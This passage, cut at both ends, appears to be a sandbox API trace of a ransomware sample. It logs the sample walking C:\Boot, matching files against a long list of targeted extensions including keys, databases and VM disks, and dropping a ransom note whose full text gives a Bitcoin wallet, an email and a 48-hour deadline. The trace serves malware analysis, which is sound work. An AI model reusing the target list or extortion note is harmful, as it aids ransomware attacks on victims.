pszSpec="*.gz") returned 0 [0057.214] lstrlenA (lpString="*.gz") returned 4 [0057.214] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\memtest.exe.mui", pszSpec="*.mkv") returned 0 [0057.214] lstrlenA (lpString="*.mkv") returned 5 [0057.214] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\memtest.exe.mui", pszSpec="*.eml") returned 0 [0057.214] lstrlenA (lpString="*.eml") returned 5 [0057.214] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\memtest.exe.mui", pszSpec="*.msg") returned 0 [0057.214] lstrlenA (lpString="*.msg") returned 5 [0057.214] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\memtest.exe.mui", pszSpec="*.edb") returned 0 [0057.214] lstrlenA (lpString="*.edb") returned 5 [0057.214] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\memtest.exe.mui", pszSpec="*.accdb") returned 0 [0057.214] lstrlenA (lpString="*.accdb") returned 7 [0057.214] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\memtest.exe.mui", pszSpec="*.odb") returned 0 [0057.214] lstrlenA (lpString="*.odb") returned 5 [0057.215] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\memtest.exe.mui", pszSpec="*.java") returned 0 [0057.215] lstrlenA (lpString="*.java") returned 6 [0057.215] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\memtest.exe.mui", pszSpec="*.asm") returned 0 [0057.215] lstrlenA (lpString="*.asm") returned 5 [0057.215] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\memtest.exe.mui", pszSpec="*.pfx") returned 0 [0057.215] lstrlenA (lpString="*.pfx") returned 5 [0057.215] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\memtest.exe.mui", pszSpec="*.pem") returned 0 [0057.215] lstrlenA (lpString="*.pem") returned 5 [0057.215] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\memtest.exe.mui", pszSpec="*.p12") returned 0 [0057.215] lstrlenA (lpString="*.p12") returned 5 [0057.215] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\memtest.exe.mui", pszSpec="*.gpg") returned 0 [0057.215] lstrlenA (lpString="*.gpg") returned 5 [0057.215] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\memtest.exe.mui", pszSpec="*.vsd") returned 0 [0057.215] lstrlenA (lpString="*.vsd") returned 5 [0057.215] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\memtest.exe.mui", pszSpec="*.odg") returned 0 [0057.215] lstrlenA (lpString="*.odg") returned 5 [0057.215] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\memtest.exe.mui", pszSpec="*.raw") returned 0 [0057.215] lstrlenA (lpString="*.raw") returned 5 [0057.215] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\memtest.exe.mui", pszSpec="*.nef") returned 0 [0057.215] lstrlenA (lpString="*.nef") returned 5 [0057.215] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\memtest.exe.mui", pszSpec="*.svg") returned 0 [0057.215] lstrlenA (lpString="*.svg") returned 5 [0057.216] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\memtest.exe.mui", pszSpec="*.psd") returned 0 [0057.216] lstrlenA (lpString="*.psd") returned 5 [0057.216] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\memtest.exe.mui", pszSpec="*.vmx") returned 0 [0057.216] lstrlenA (lpString="*.vmx") returned 5 [0057.216] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\memtest.exe.mui", pszSpec="*.vmdk") returned 0 [0057.216] lstrlenA (lpString="*.vmdk") returned 6 [0057.216] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\memtest.exe.mui", pszSpec="*.vdi") returned 0 [0057.216] lstrlenA (lpString="*.vdi") returned 5 [0057.216] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\memtest.exe.mui", pszSpec="*.lay6") returned 0 [0057.216] lstrlenA (lpString="*.lay6") returned 6 [0057.216] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\memtest.exe.mui", pszSpec="*.mpeg") returned 0 [0057.216] lstrlenA (lpString="*.mpeg") returned 6 [0057.216] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\memtest.exe.mui", pszSpec="*.djvu") returned 0 [0057.216] lstrlenA (lpString="*.djvu") returned 6 [0057.216] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\memtest.exe.mui", pszSpec="*.tiff") returned 0 [0057.216] lstrlenA (lpString="*.tiff") returned 6 [0057.216] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\memtest.exe.mui", pszSpec="*.backup") returned 0 [0057.216] lstrlenA (lpString="*.backup") returned 8 [0057.216] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\memtest.exe.mui", pszSpec="*.pdf") returned 0 [0057.216] lstrlenA (lpString="*.pdf") returned 5 [0057.216] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\memtest.exe.mui", pszSpec="*.cert") returned 0 [0057.216] lstrlenA (lpString="*.cert") returned 6 [0057.216] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\memtest.exe.mui", pszSpec="*.docm") returned 0 [0057.216] lstrlenA (lpString="*.docm") returned 6 [0057.216] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\memtest.exe.mui", pszSpec="*.xlsm") returned 0 [0057.216] lstrlenA (lpString="*.xlsm") returned 6 [0057.216] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\memtest.exe.mui", pszSpec="*.dwg") returned 0 [0057.217] lstrlenA (lpString="*.dwg") returned 5 [0057.217] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\memtest.exe.mui", pszSpec="*.nd") returned 0 [0057.217] lstrlenA (lpString="*.nd") returned 4 [0057.217] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\memtest.exe.mui", pszSpec="*.tlg") returned 0 [0057.217] lstrlenA (lpString="*.tlg") returned 5 [0057.217] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\memtest.exe.mui", pszSpec="*.lgb") returned 0 [0057.217] lstrlenA (lpString="*.lgb") returned 5 [0057.217] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\memtest.exe.mui", pszSpec="*.mov") returned 0 [0057.217] lstrlenA (lpString="*.mov") returned 5 [0057.217] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\memtest.exe.mui", pszSpec="*.xdw") returned 0 [0057.217] lstrlenA (lpString="*.xdw") returned 5 [0057.217] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\memtest.exe.mui", pszSpec="*.ods") returned 0 [0057.217] lstrlenA (lpString="*.ods") returned 5 [0057.217] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\memtest.exe.mui", pszSpec="*.wav") returned 0 [0057.217] lstrlenA (lpString="*.wav") returned 5 [0057.217] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\memtest.exe.mui", pszSpec="*.mp3") returned 0 [0057.217] lstrlenA (lpString="*.mp3") returned 5 [0057.217] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\memtest.exe.mui", pszSpec="*.aiff") returned 0 [0057.217] lstrlenA (lpString="*.aiff") returned 6 [0057.217] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\memtest.exe.mui", pszSpec="*.flac") returned 0 [0057.217] lstrlenA (lpString="*.flac") returned 6 [0057.217] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\memtest.exe.mui", pszSpec="*.m4a") returned 0 [0057.217] lstrlenA (lpString="*.m4a") returned 5 [0057.217] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\memtest.exe.mui", pszSpec="*.csv") returned 0 [0057.217] lstrlenA (lpString="*.csv") returned 5 [0057.218] FindNextFileA (in: hFindFile=0x4f7098, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x4f8360, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0057.218] FindClose (in: hFindFile=0x4f7098 | out: hFindFile=0x4f7098) returned 1 [0057.218] FindNextFileA (in: hFindFile=0x4f6020, lpFindFileData=0x18fce8 | out: lpFindFileData=0x18fce8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="es-ES", cAlternateFileName="")) returned 1 [0057.218] lstrcmpA (lpString1=".", lpString2="es-ES") returned -1 [0057.218] lstrcmpA (lpString1="..", lpString2="es-ES") returned -1 [0057.218] PathFindFileNameA (pszPath="C:\\Boot\\*.*") returned="*.*" [0057.218] lstrcatA (in: lpString1="C:\\Boot\\", lpString2="es-ES" | out: lpString1="C:\\Boot\\es-ES") returned="C:\\Boot\\es-ES" [0057.218] lstrlenA (lpString="C:\\Boot\\es-ES") returned 13 [0057.218] FindFirstFileA (in: lpFileName="C:\\Boot\\es-ES\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4f7098 [0057.220] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0057.220] FindNextFileA (in: hFindFile=0x4f7098, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.220] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0057.220] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0057.220] FindNextFileA (in: hFindFile=0x4f7098, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0057.220] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0057.220] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bootmgr.exe.mui") returned 1 [0057.220] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bootmgr.exe.mui") returned 1 [0057.220] lstrcmpiA (lpString1="", lpString2="bootmgr.exe.mui") returned -1 [0057.220] PathFindFileNameA (pszPath="C:\\Boot\\es-ES\\*.*") returned="*.*" [0057.220] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Boot\\es-ES\\" | out: lpString1="C:\\Boot\\es-ES\\") returned="C:\\Boot\\es-ES\\" [0057.220] PathAddBackslashA (in: pszPath="C:\\Boot\\es-ES\\" | out: pszPath="C:\\Boot\\es-ES\\") returned="" [0057.220] lstrcatA (in: lpString1="C:\\Boot\\es-ES\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Boot\\es-ES\\HOW TO DECRYPT FILES.txt") returned="C:\\Boot\\es-ES\\HOW TO DECRYPT FILES.txt" [0057.220] GetFileAttributesA (lpFileName="C:\\Boot\\es-ES\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\boot\\es-es\\how to decrypt files.txt")) returned 0xffffffff [0057.220] CreateFileA (lpFileName="C:\\Boot\\es-ES\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\boot\\es-es\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x84 [0057.221] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0057.221] WriteFile (in: hFile=0x84, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0057.222] SetFileTime (hFile=0x84, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0057.222] CloseHandle (hObject=0x84) returned 1 [0057.222] lstrcatA (in: lpString1="C:\\Boot\\es-ES\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned="C:\\Boot\\es-ES\\bootmgr.exe.mui" [0057.222] PathMatchSpecA (pszFile="C:\\Boot\\es-ES\\bootmgr.exe.mui", pszSpec="*.ems") returned 0 [0057.222] lstrlenA (lpString="*.ems") returned 5 [0057.222] PathMatchSpecA (pszFile="C:\\Boot\\es-ES\\bootmgr.exe.mui", pszSpec="*.db") returned 0 [0057.222] lstrlenA (lpString="*.db") returned 4 [0057.223] PathMatchSpecA (pszFile="C:\\Boot\\es-ES\\bootmgr.exe.mui", pszSpec="*.dbf") returned 0 [0057.223] lstrlenA (lpString="*.dbf") returned 5 [0057.223] PathMatchSpecA (pszFile="C:\\Boot\\es-ES\\bootmgr.exe.mui", pszSpec="*.myox") returned 0 [0057.223] lstrlenA (lpString="*.myox") returned 6 [0057.223] PathMatchSpecA (pszFile="C:\\Boot\\es-ES\\bootmgr.exe.mui", pszSpec="*.myo") returned 0 [0057.223] lstrlenA (lpString="*.myo") returned 5 [0057.223] PathMatchSpecA (pszFile="C:\\Boot\\es-ES\\bootmgr.exe.mui", pszSpec="*.qbw") returned 0 [0057.223] lstrlenA (lpString="*.qbw") returned 5 [0057.223] PathMatchSpecA (pszFile="C:\\Boot\\es-ES\\bootmgr.exe.mui", pszSpec="*.qbb") returned 0 [0057.223] lstrlenA (lpString="*.qbb") returned 5 [0057.223] PathMatchSpecA (pszFile="C:\\Boot\\es-ES\\bootmgr.exe.mui", pszSpec="*.qbm") returned 0 [0057.223] lstrlenA (lpString="*.qbm") returned 5 [0057.223] PathMatchSpecA (pszFile="C:\\Boot\\es-ES\\bootmgr.exe.mui", pszSpec="*.qbo") returned 0 [0057.223] lstrlenA (lpString="*.qbo") returned 5 [0057.223] PathMatchSpecA (pszFile="C:\\Boot\\es-ES\\bootmgr.exe.mui", pszSpec="*.qbx") returned 0 [0057.223] lstrlenA (lpString="*.qbx") returned 5 [0057.223] PathMatchSpecA (pszFile="C:\\Boot\\es-ES\\bootmgr.exe.mui", pszSpec="*.qba") returned 0 [0057.223] lstrlenA (lpString="*.qba") returned 5 [0057.223] PathMatchSpecA (pszFile="C:\\Boot\\es-ES\\bootmgr.exe.mui", pszSpec="*.qby") returned 0 [0057.223] lstrlenA (lpString="*.qby") returned 5 [0057.223] PathMatchSpecA (pszFile="C:\\Boot\\es-ES\\bootmgr.exe.mui", pszSpec="*.qbj") returned 0 [0057.223] lstrlenA (lpString="*.qbj") returned 5 [0057.223] PathMatchSpecA (pszFile="C:\\Boot\\es-ES\\bootmgr.exe.mui", pszSpec="*.ofx") returned 0 [0057.223] lstrlenA (lpString="*.ofx") returned 5 [0057.224] PathMatchSpecA (pszFile="C:\\Boot\\es-ES\\bootmgr.exe.mui", pszSpec="*.qif") returned 0 [0057.224] lstrlenA (lpString="*.qif") returned 5 [0057.224] PathMatchSpecA (pszFile="C:\\Boot\\es-ES\\bootmgr.exe.mui", pszSpec="*.mye") returned 0 [0057.224] lstrlenA (lpString="*.mye") returned 5 [0057.224] PathMatchSpecA (pszFile="C:\\Boot\\es-ES\\bootmgr.exe.mui", pszSpec="*.mbox") returned 0 [0057.224] lstrlenA (lpString="*.mbox") returned 6 [0057.224] PathMatchSpecA (pszFile="C:\\Boot\\es-ES\\bootmgr.exe.mui", pszSpec="*.eml") returned 0 [0057.224] lstrlenA (lpString="*.eml") returned 5 [0057.224] PathMatchSpecA (pszFile="C:\\Boot\\es-ES\\bootmgr.exe.mui", pszSpec="*.pst") returned 0 [0057.224] lstrlenA (lpString="*.pst") returned 5 [0057.224] PathMatchSpecA (pszFile="C:\\Boot\\es-ES\\bootmgr.exe.mui", pszSpec="*.ost") returned 0 [0057.224] lstrlenA (lpString="*.ost") returned 5 [0057.224] PathMatchSpecA (pszFile="C:\\Boot\\es-ES\\bootmgr.exe.mui", pszSpec="*.idx") returned 0 [0057.224] lstrlenA (lpString="*.idx") returned 5 [0057.224] PathMatchSpecA (pszFile="C:\\Boot\\es-ES\\bootmgr.exe.mui", pszSpec="*.dbx") returned 0 [0057.224] lstrlenA (lpString="*.dbx") returned 5 [0057.224] PathMatchSpecA (pszFile="C:\\Boot\\es-ES\\bootmgr.exe.mui", pszSpec="*.sql") returned 0 [0057.224] lstrlenA (lpString="*.sql") returned 5 [0057.224] PathMatchSpecA (pszFile="C:\\Boot\\es-ES\\bootmgr.exe.mui", pszSpec="*.mdb") returned 0 [0057.224] lstrlenA (lpString="*.mdb") returned 5 [0057.225] PathMatchSpecA (pszFile="C:\\Boot\\es-ES\\bootmgr.exe.mui", pszSpec="*.fdb") returned 0 [0057.225] lstrlenA (lpString="*.fdb") returned 5 [0057.225] PathMatchSpecA (pszFile="C:\\Boot\\es-ES\\bootmgr.exe.mui", pszSpec="*.wab") returned 0 [0057.225] lstrlenA (lpString="*.wab") returned 5 [0057.225] PathMatchSpecA (pszFile="C:\\Boot\\es-ES\\bootmgr.exe.mui", pszSpec="*.dat") returned 0 [0057.225] lstrlenA (lpString="*.dat") returned 5 [0057.225] PathMatchSpecA (pszFile="C:\\Boot\\es-ES\\bootmgr.exe.mui", pszSpec="*.txt") returned 0 [0057.225] lstrlenA (lpString="*.txt") returned 5 [0057.225] PathMatchSpecA (pszFile="C:\\Boot\\es-ES\\bootmgr.exe.mui", pszSpec="*.jpeg") returned 0 [0057.225] lstrlenA (lpString="*.jpeg") returned 6 [0057.225] PathMatchSpecA (pszFile="C:\\Boot\\es-ES\\bootmgr.exe.mui", pszSpec="*.jpg") returned 0 [0057.225] lstrlenA (lpString="*.jpg") returned 5 [0057.225] PathMatchSpecA (pszFile="C:\\Boot\\es-ES\\bootmgr.exe.mui", pszSpec="*.png") returned 0 [0057.225] lstrlenA (lpString="*.png") returned 5 [0057.225] PathMatchSpecA (pszFile="C:\\Boot\\es-ES\\bootmgr.exe.mui", pszSpec="*.php") returned 0 [0057.225] lstrlenA (lpString="*.php") returned 5 [0057.225] PathMatchSpecA (pszFile="C:\\Boot\\es-ES\\bootmgr.exe.mui", pszSpec="*.cs") returned 0 [0057.225] lstrlenA (lpString="*.cs") returned 4 [0057.225] PathMatchSpecA (pszFile="C:\\Boot\\es-ES\\bootmgr.exe.mui", pszSpec="*.cpp") returned 0 [0057.225] lstrlenA (lpString="*.cpp") returned 5 [0057.225] PathMatchSpecA (pszFile="C:\\Boot\\es-ES\\bootmgr.exe.mui", pszSpec="*.rar") returned 0 [0057.225] lstrlenA (lpString="*.rar") returned 5 [0057.226] PathMatchSpecA (pszFile="C:\\Boot\\es-ES\\bootmgr.exe.mui", pszSpec="*.zip") returned 0 [0057.226] lstrlenA (lpString="*.zip") returned 5 [0057.226] PathMatchSpecA (pszFile="C:\\Boot\\es-ES\\bootmgr.exe.mui", pszSpec="*.html") returned 0 [0057.226] lstrlenA (lpString="*.html") returned 6 [0057.226] PathMatchSpecA (pszFile="C:\\Boot\\es-ES\\bootmgr.exe.mui", pszSpec="*.htm") returned 0 [0057.226] lstrlenA (lpString="*.htm") returned 5 [0057.226] PathMatchSpecA (pszFile="C:\\Boot\\es-ES\\bootmgr.exe.mui", pszSpec="*.xlsx") returned 0 [0057.226] lstrlenA (lpString="*.xlsx") returned 6 [0057.226] PathMatchSpecA (pszFile="C:\\Boot\\es-ES\\bootmgr.exe.mui", pszSpec="*.xls") returned 0 [0057.226] lstrlenA (lpString="*.xls") returned 5 [0057.226] PathMatchSpecA (pszFile="C:\\Boot\\es-ES\\bootmgr.exe.mui", pszSpec="*.mp4") returned 0 [0057.226] lstrlenA (lpString="*.mp4") returned 5 [0057.226] PathMatchSpecA (pszFile="C:\\Boot\\es-ES\\bootmgr.exe.mui", pszSpec="*.ppt") returned 0 [0057.226] lstrlenA (lpString="*.ppt") returned 5 [0057.226] PathMatchSpecA (pszFile="C:\\Boot\\es-ES\\bootmgr.exe.mui", pszSpec="*.pptx") returned 0 [0057.226] lstrlenA (lpString="*.pptx") returned 6 [0057.226] PathMatchSpecA (pszFile="C:\\Boot\\es-ES\\bootmgr.exe.mui", pszSpec="*.doc") returned 0 [0057.226] lstrlenA (lpString="*.doc") returned 5 [0057.226] PathMatchSpecA (pszFile="C:\\Boot\\es-ES\\bootmgr.exe.mui", pszSpec="*.dot") returned 0 [0057.226] lstrlenA (lpString="*.dot") returned 5 [0057.226] PathMatchSpecA (pszFile="C:\\Boot\\es-ES\\bootmgr.exe.mui", pszSpec="*.docx") returned 0 [0057.226] lstrlenA (lpString="*.docx") returned 6 [0057.226] PathMatchSpecA (pszFile="C:\\Boot\\es-ES\\bootmgr.exe.mui", pszSpec="*.7z") returned 0 [0057.226] lstrlenA (lpString="*.7z") returned 4 [0057.226] PathMatchSpecA (pszFile="C:\\Boot\\es-ES\\bootmgr.exe.mui", pszSpec="*.tar") returned 0 [0057.226] lstrlenA (lpString="*.tar") returned 5 [0057.226] PathMatchSpecA (pszFile="C:\\Boot\\es-ES\\bootmgr.exe.mui", pszSpec="*.bz2") returned 0 [0057.227] lstrlenA (lpString="*.bz2") returned 5 [0057.227] PathMatchSpecA (pszFile="C:\\Boot\\es-ES\\bootmgr.exe.mui", pszSpec="*.gz") returned 0 [0057.227] lstrlenA (lpString="*.gz") returned 4 [0057.227] PathMatchSpecA (pszFile="C:\\Boot\\es-ES\\bootmgr.exe.mui", pszSpec="*.mkv") returned 0 [0057.227] lstrlenA (lpString="*.mkv") returned 5 [0057.227] PathMatchSpecA (pszFile="C:\\Boot\\es-ES\\bootmgr.exe.mui", pszSpec="*.eml") returned 0 [0057.227] lstrlenA (lpString="*.eml") returned 5 [0057.227] PathMatchSpecA (pszFile="C:\\Boot\\es-ES\\bootmgr.exe.mui", pszSpec="*.msg") returned 0 [0057.227] lstrlenA (lpString="*.msg") returned 5 [0057.227] PathMatchSpecA (pszFile="C:\\Boot\\es-ES\\bootmgr.exe.mui", pszSpec="*.edb") returned 0 [0057.227] lstrlenA (lpString="*.edb") returned 5 [0057.227] PathMatchSpecA (pszFile="C:\\Boot\\es-ES\\bootmgr.exe.mui", pszSpec="*.accdb") returned 0 [0057.227] lstrlenA (lpString="*.accdb") returned 7 [0057.227] PathMatchSpecA (pszFile="C:\\Boot\\es-ES\\bootmgr.exe.mui", pszSpec="*.odb") returned 0 [0057.227] lstrlenA (lpString="*.odb") returned 5 [0057.227] PathMatchSpecA (pszFile="C:\\Boot\\es-ES\\bootmgr.exe.mui", pszSpec="*.java") returned 0 [0057.227] lstrlenA (lpString="*.java") returned 6 [0057.227] PathMatchSpecA (pszFile="C:\\Boot\\es-ES\\bootmgr.exe.mui", pszSpec="*.asm") returned 0 [0057.227] lstrlenA (lpString="*.asm") returned 5 [0057.227] PathMatchSpecA (pszFile="C:\\Boot\\es-ES\\bootmgr.exe.mui", pszSpec="*.pfx") returned 0 [0057.227] lstrlenA (lpString="*.pfx") returned 5 [0057.227] PathMatchSpecA (pszFile="C:\\Boot\\es-ES\\bootmgr.exe.mui", pszSpec="*.pem") returned 0 [0057.227] lstrlenA (lpString="*.pem") returned 5 [0057.227] PathMatchSpecA (pszFile="C:\\Boot\\es-ES\\bootmgr.exe.mui", pszSpec="*.p12") returned 0 [0057.227] lstrlenA (lpString="*.p12") returned 5 [0057.227] PathMatchSpecA (pszFile="C:\\Boot\\es-ES\\bootmgr.exe.mui", pszSpec="*.gpg") returned 0 [0057.228] lstrlenA (lpString="*.gpg") returned 5 [0057.228] PathMatchSpecA (pszFile="C:\\Boot\\es-ES\\bootmgr.exe.mui", pszSpec="*.vsd") returned 0 [0057.228] lstrlenA (lpString="*.vsd") returned 5 [0057.228] PathMatchSpecA (pszFile="C:\\Boot\\es-ES\\bootmgr.exe.mui", pszSpec="*.odg") returned 0 [0057.228] lstrlenA (lpString="*.odg") returned 5 [0057.228] PathMatchSpecA (pszFile="C:\\Boot\\es-ES\\bootmgr.exe.mui", pszSpec="*.raw") returned 0 [0057.228] lstrlenA (lpString="*.raw") returned 5 [0057.228] PathMatchSpecA (pszFile="C:\\Boot\\es-ES\\bootmgr.exe.mui", pszSpec="*.nef") returned 0 [0057.228] lstrlenA (lpString="*.nef") returned 5 [0057.228] PathMatchSpecA (pszFile="C:\\Boot\\es-ES\\bootmgr.exe.mui", pszSpec="*.svg") returned 0 [0057.228] lstrlenA (lpString="*.svg") returned 5 [0057.228] PathMatchSpecA (pszFile="C:\\Boot\\es-ES\\bootmgr.exe.mui", pszSpec="*.psd") returned 0 [0057.228] lstrlenA (lpString="*.psd") returned 5 [0057.228] PathMatchSpecA (pszFile="C:\\Boot\\es-ES\\bootmgr.exe.mui", pszSpec="*.vmx") returned 0 [0057.228] lstrlenA (lpString="*.vmx") returned 5 [0057.228] PathMatchSpecA (pszFile="C:\\Boot\\es-ES\\bootmgr.exe.mui", pszSpec="*.vmdk") returned 0 [0057.228] lstrlenA (lpString="*.vmdk") returned 6 [0057.228] PathMatchSpecA (pszFile="C:\\Boot\\es-ES\\bootmgr.exe.mui", pszSpec="*.vdi") returned 0 [0057.228] lstrlenA (lpString="*.vdi") returned 5 [0057.228] PathMatchSpecA (pszFile="C:\\Boot\\es-ES\\bootmgr.exe.mui", pszSpec="*.lay6") returned 0 [0057.228] lstrlenA (lpString="*.lay6") returned 6 [0057.228] PathMatchSpecA (pszFile="C:\\Boot\\es-ES\\bootmgr.exe.mui", pszSpec="*.mpeg") returned 0 [0057.228] lstrlenA (lpString="*.mpeg") returned 6 [0057.228] PathMatchSpecA (pszFile="C:\\Boot\\es-ES\\bootmgr.exe.mui", pszSpec="*.djvu") returned 0 [0057.228] lstrlenA (lpString="*.djvu") returned 6 [0057.228] PathMatchSpecA (pszFile="C:\\Boot\\es-ES\\bootmgr.exe.mui", pszSpec="*.tiff") returned 0 [0057.228] lstrlenA (lpString="*.tiff") returned 6 [0057.229] PathMatchSpecA (pszFile="C:\\Boot\\es-ES\\bootmgr.exe.mui", pszSpec="*.backup") returned 0 [0057.229] lstrlenA (lpString="*.backup") returned 8 [0057.229] PathMatchSpecA (pszFile="C:\\Boot\\es-ES\\bootmgr.exe.mui", pszSpec="*.pdf") returned 0 [0057.229] lstrlenA (lpString="*.pdf") returned 5 [0057.229] PathMatchSpecA (pszFile="C:\\Boot\\es-ES\\bootmgr.exe.mui", pszSpec="*.cert") returned 0 [0057.229] lstrlenA (lpString="*.cert") returned 6 [0057.229] PathMatchSpecA (pszFile="C:\\Boot\\es-ES\\bootmgr.exe.mui", pszSpec="*.docm") returned 0 [0057.229] lstrlenA (lpString="*.docm") returned 6 [0057.229] PathMatchSpecA (pszFile="C:\\Boot\\es-ES\\bootmgr.exe.mui", pszSpec="*.xlsm") returned 0 [0057.229] lstrlenA (lpString="*.xlsm") returned 6 [0057.229] PathMatchSpecA (pszFile="C:\\Boot\\es-ES\\bootmgr.exe.mui", pszSpec="*.dwg") returned 0 [0057.229] lstrlenA (lpString="*.dwg") returned 5 [0057.229] PathMatchSpecA (pszFile="C:\\Boot\\es-ES\\bootmgr.exe.mui", pszSpec="*.nd") returned 0 [0057.229] lstrlenA 